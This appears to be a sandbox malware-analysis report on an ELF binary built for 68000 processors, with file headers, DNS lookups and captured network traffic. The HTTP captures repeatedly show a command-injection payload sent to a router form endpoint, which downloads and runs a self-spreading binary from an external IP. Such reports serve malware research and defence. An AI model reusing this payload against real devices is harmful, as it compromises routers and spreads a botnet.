SSDEEP:	3072:MkAawjTgjsX7z+IpioM3ySBP7A3UVrjbi8LlpDhgcys06Xn:7AB98oMiStA3ULlpV5ys9Xn
TLSH:	85F33AD7F800DEBEF80AE33B48130905B130B7D211925B376297797BED3A1991967E86
File Content Preview:	.ELF.......................D...4..xP.....4. ...(.................................. ...........N...N...I\|...P...... .dt.Q............................NV..a....da.....N^NuNV..J9....f>"y..N. QJ.g.X.#...N.N."y..N. QJ.f.A.....J.g.Hy....N.X.........N^NuNV..N^NuN

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	161872
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x200b6	0x0	0x6	AX	4
.fini	PROGBITS	0x8002015e	0x2015e	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x8002016c	0x2016c	0x2d24	0x0	0x2	A	2
.ctors	PROGBITS	0x80024e94	0x22e94	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x80024ea0	0x22ea0	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x80024ec0	0x22ec0	0x4950	0x0	0x3	WA	32
.bss	NOBITS	0x80029810	0x27810	0x45d4	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x27810	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x22e90	0x22e90	6.1848	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x22e94	0x80024e94	0x80024e94	0x497c	0x8f50	0.4869	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report h7x9LMic6K.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.04eq0e (deleted)

/tmp/qemu-open.08Jrfh (deleted)

/tmp/qemu-open.08iGCj (deleted)

/tmp/qemu-open.0Fmkyi (deleted)

/tmp/qemu-open.0IXhyf (deleted)

/tmp/qemu-open.0Ojjsg (deleted)

/tmp/qemu-open.0V2sWg (deleted)

/tmp/qemu-open.0XCR8h (deleted)

/tmp/qemu-open.0YDWWf (deleted)

/tmp/qemu-open.0dC3dg (deleted)

/tmp/qemu-open.0dIQnh (deleted)

/tmp/qemu-open.0hwYJh (deleted)

/tmp/qemu-open.0jKd6g (deleted)

/tmp/qemu-open.0jxkLg (deleted)

/tmp/qemu-open.0kZYaf (deleted)

/tmp/qemu-open.0kxCJi (deleted)

/tmp/qemu-open.0oxlmi (deleted)

/tmp/qemu-open.0sTYYg (deleted)

/tmp/qemu-open.0vS3Ei (deleted)

/tmp/qemu-open.0vV9jj (deleted)

/tmp/qemu-open.12xRmi (deleted)

/tmp/qemu-open.15nm7i (deleted)

/tmp/qemu-open.18dIvh (deleted)

/tmp/qemu-open.19ZQ7g (deleted)

/tmp/qemu-open.1AwiAf (deleted)

/tmp/qemu-open.1EZS9g (deleted)

/tmp/qemu-open.1JY7Pg (deleted)

Linux Analysis Report
h7x9LMic6K.elf

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 29, 2024 10:41:56.902359009 CET	192.168.2.15	8.8.8.8	0xbbed	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:01.698199034 CET	192.168.2.15	8.8.8.8	0xbf5a	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:03.487921953 CET	192.168.2.15	8.8.8.8	0xfba5	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:06.272874117 CET	192.168.2.15	8.8.8.8	0xc141	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:08.054460049 CET	192.168.2.15	8.8.8.8	0x459b	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:09.850877047 CET	192.168.2.15	8.8.8.8	0x2e61	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:19.672420025 CET	192.168.2.15	8.8.8.8	0x4852	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:24.469938993 CET	192.168.2.15	8.8.8.8	0xef07	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:30.276889086 CET	192.168.2.15	8.8.8.8	0xa816	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:34.083425999 CET	192.168.2.15	8.8.8.8	0xb3b4	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:44.877307892 CET	192.168.2.15	8.8.8.8	0x3a73	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:55.682528973 CET	192.168.2.15	8.8.8.8	0x507f	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:05.474862099 CET	192.168.2.15	8.8.8.8	0xe008	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:12.287688017 CET	192.168.2.15	8.8.8.8	0x7d6a	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:23.104085922 CET	192.168.2.15	8.8.8.8	0xca68	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:26.891381979 CET	192.168.2.15	8.8.8.8	0x1eaa	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:30.724133968 CET	192.168.2.15	8.8.8.8	0x55f7	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:38.533072948 CET	192.168.2.15	8.8.8.8	0xb61c	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:42.305536032 CET	192.168.2.15	8.8.8.8	0xfa96	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:48.117608070 CET	192.168.2.15	8.8.8.8	0x5eeb	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:55.900360107 CET	192.168.2.15	8.8.8.8	0x7a1a	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:58.722152948 CET	192.168.2.15	8.8.8.8	0x813b	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:44:00.508106947 CET	192.168.2.15	8.8.8.8	0x1331	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 29, 2024 10:41:56.990374088 CET	8.8.8.8	192.168.2.15	0xbbed	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:01.791476011 CET	8.8.8.8	192.168.2.15	0xbf5a	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:03.575963020 CET	8.8.8.8	192.168.2.15	0xfba5	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:06.360673904 CET	8.8.8.8	192.168.2.15	0xc141	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:08.141813040 CET	8.8.8.8	192.168.2.15	0x459b	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:09.938765049 CET	8.8.8.8	192.168.2.15	0x2e61	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:19.763780117 CET	8.8.8.8	192.168.2.15	0x4852	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:24.566206932 CET	8.8.8.8	192.168.2.15	0xef07	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:30.364439964 CET	8.8.8.8	192.168.2.15	0xa816	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:34.173625946 CET	8.8.8.8	192.168.2.15	0xb3b4	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:44.971226931 CET	8.8.8.8	192.168.2.15	0x3a73	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:42:55.780426025 CET	8.8.8.8	192.168.2.15	0x507f	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:05.568514109 CET	8.8.8.8	192.168.2.15	0xe008	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:12.375267982 CET	8.8.8.8	192.168.2.15	0x7d6a	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:23.194741964 CET	8.8.8.8	192.168.2.15	0xca68	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:26.995385885 CET	8.8.8.8	192.168.2.15	0x1eaa	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:30.811896086 CET	8.8.8.8	192.168.2.15	0x55f7	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:38.621001959 CET	8.8.8.8	192.168.2.15	0xb61c	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:42.393444061 CET	8.8.8.8	192.168.2.15	0xfa96	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:48.205530882 CET	8.8.8.8	192.168.2.15	0x5eeb	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:55.991245985 CET	8.8.8.8	192.168.2.15	0x7a1a	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:43:58.812304020 CET	8.8.8.8	192.168.2.15	0x813b	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:44:00.601440907 CET	8.8.8.8	192.168.2.15	0x1331	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:42:14.074906111 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:42:14.164033890 CET	602	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 435 Date: Thu, 29 Feb 2024 09:39:12 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:42:29.497948885 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:42:29.776583910 CET	103	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:42:32.954230070 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:42:33.108911037 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.4 Date: Thu, 29 Feb 2024 09:42:33 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.4</center></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:42:34.041843891 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:42:37.119530916 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:42:43.263247013 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:42:55.294924974 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:43:19.358194113 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:42:42.401365995 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:42:42.495313883 CET	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Thu, 29 Feb 2024 09:42:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:42:42.580939054 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
